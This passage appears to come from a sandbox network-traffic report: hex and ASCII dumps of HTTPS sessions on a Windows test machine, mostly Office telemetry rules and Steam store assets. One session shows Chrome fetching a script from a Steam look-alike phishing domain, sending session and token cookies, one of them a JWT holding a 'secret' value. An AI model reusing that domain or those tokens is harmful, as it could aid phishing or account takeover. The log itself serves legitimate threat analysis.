a29fc1e1d8c164e2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-07 06:47:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-07 06:47:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 63 64 44 51 43 44 57 74 55 61 68 79 31 77 52 74 63 7a 38 67 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HcdDQCDWtUahy1wRtcz8gg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 78a0432a-701e-001e-1805-17f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48t66tjar5xuq22r800000003300000000071pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ef9cab6f-f01e-0099-0d00-179171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48762wn1qw4s5sd3000000002xg00000000d117 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 821e4157-c01e-0014-3301-17a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48xdq5dkwwugdpzr000000003b000000000f2yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f519f63-901e-0016-75ff-16efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064707Z-1657d5bbd48cpbzgkvtewk0wu0000000038g0000000033z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49865	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	1414	OUT	GET /a6ee8b8370c1415cb6ec9598e252c16b8f95105a30c1/c3836b18f15271feb179564b07a0a7149d6af2227872.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg; timezoneOffset=-14400,0
2024-10-07 06:47:07 UTC	1058	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G5uZ5CgfKPBc2Cm0BMNpgmy0aSe3iZ%2B3BvTmp%2BaMzcg4gRu%2BdU2R0%2FKrwtcd53q4lWRYq%2B0LBvKwj%2FJOxziOB%2BkgEpoRuQLB8duffbka4i5FpwAH4p%2Ff1i4rgnbcNRT2LhPLtAQO8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf01f3f950f64-EWR
2024-10-07 06:47:07 UTC	71	IN	Data Raw: 34 31 0d 0a 7b 22 6d 65 73 73 61 67 65 22 3a 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 7d 0d 0a Data Ascii: 41{"message":"Page not found","error":"Not Found","statusCode":404}
2024-10-07 06:47:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49863	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	405	OUT	GET /public/shared/images/responsive/logo_valve_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1846 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-736" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	1846	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 10 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR\:;)tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49864	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	409	OUT	GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3777 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-ec1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	3777	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 00 d4 08 06 00 00 00 ab 83 0e c8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0e 63 49 44 41 54 78 da ec dd 5f 4c 54 67 1a c7 f1 77 fe 69 d0 91 ba 10 0b 8a 8b ae cb 56 6d 6b 82 36 58 bb eb 9f 86 a6 b5 69 bb b2 46 db 8b 8a 7b e9 ae ed c5 5e b6 d9 5e 34 4d 7a d1 9b 9a 36 6d 6c 9a b4 6e 62 20 5d 12 b1 80 d6 88 65 bb 61 13 c5 ed da 76 a7 fe 29 ac a0 05 61 05 45 06 29 03 23 03 c3 3e ef 30 d0 33 67 06 4b 77 77 38 2f 93 ef 27 79 02 67 86 8b c9 f0 fc ce fb 9e 73 66 de e3 1a 1f 1f 57 00 32 83 9b b7 00 20 d0 00 08 34 00 02 0d 80 40 03 04 1a 00 81 06 40 a0 01 10 68 00 04 1a 20 d0 00 08 34 00 02 0d 80 40 03 20 d0 00 81 06 40 a0 01 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<cIDATx_LTgwiVmk6XiF{^^4Mz6mlnb ]eav)aE)#>03gKww8/'ygsfW2 4@@h 4@ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49866	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	603	OUT	GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	241	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/svg+xml Last-Modified: Tue, 17 Nov 2020 23:33:19 GMT ETag: "5fb45dbf-e64" Access-Control-Allow-Origin: * Date: Mon, 07 Oct 2024 06:47:08 GMT Content-Length: 3684 Connection: close
2024-10-07 06:47:08 UTC	3684	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 31 36 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49868	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	420	OUT	GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 291 Last-Modified: Tue, 20 Mar 2018 23:42:19 GMT ETag: "5ab19c5b-123" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:08 GMT Connection: close
2024-10-07 06:47:08 UTC	291	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 0d 08 06 00 00 00 76 1e 34 41 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 c5 49 44 41 54 78 da 62 f8 ff ff 3f 03 1e cc 03 c4 93 80 f8 39 10 7f 03 e2 5d 40 ac 0f 93 c7 a7 91 1d 88 4f fc 47 80 bf 40 fc 05 88 3f 02 b1 3a 21 cd 05 48 1a 0f 03 b1 1c 54 dc 1a 88 7b 09 69 3e 88 a4 59 1e 4d ce 0c 9b 66 66 a8 1f 57 01 f1 27 a8 c6 5f 50 3e 08 ab 21 a9 c3 6a b3 03 10 ff f9 8f 09 26 a3 ab c5 e5 e4 0a 34 8d 27 81 98 8d 58 cd 8c 40 bc 19 aa f1 0d 16 3f c3 35 83 e2 6d 37 10 df 45 c2 97 81 58 17 ca f6 04 e2 45 68 f2 20 f5 06 0c 50 85 d8 c0 51 20 16 03 e2 12 1c f2 d7 18 fe e3 07 20 a7 ff c6 25 09 f2 db 03 06 06 06 79 06 d2 c1 63 Data Ascii: PNGIHDRv4AtEXtSoftwareAdobe ImageReadyqe<IDATxb?9]@OG@?:!HT{i>YMffW'_P>!j&4'X@?5m7EXEh PQ %yc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49869	142.250.74.195	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	376	OUT	GET /recaptcha/enterprise.js?render=explicit HTTP/1.1 Host: recaptcha.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:08 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Mon, 07 Oct 2024 06:47:08 GMT Date: Mon, 07 Oct 2024 06:47:08 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 06:47:08 UTC	641	IN	Data Raw: 37 32 63 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 45 3d 27 65 6e 74 65 72 70 72 69 73 65 27 2c 61 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 2c 67 72 3d 61 5b 45 5d 3d 61 5b 45 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f Data Ascii: 72c/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['_
2024-10-07 06:47:08 UTC	1202	IN	Data Raw: 74 3d 27 41 37 75 78 74 6a 33 2b 68 4a 6d 4f 63 5a 46 6f 6f 46 54 30 50 73 32 37 36 50 75 4f 71 47 6e 4d 31 6a 66 6f 50 62 46 76 78 57 70 37 33 56 43 36 30 4c 6e 59 47 7a 61 79 48 56 76 63 46 65 45 69 46 30 71 72 77 79 37 66 51 41 4c 2b 67 47 56 58 55 2b 66 39 49 51 63 41 41 41 43 54 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 33 4a 6c 59 32 46 77 64 47 4e 6f 59 53 35 75 5a 58 51 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 Data Ascii: 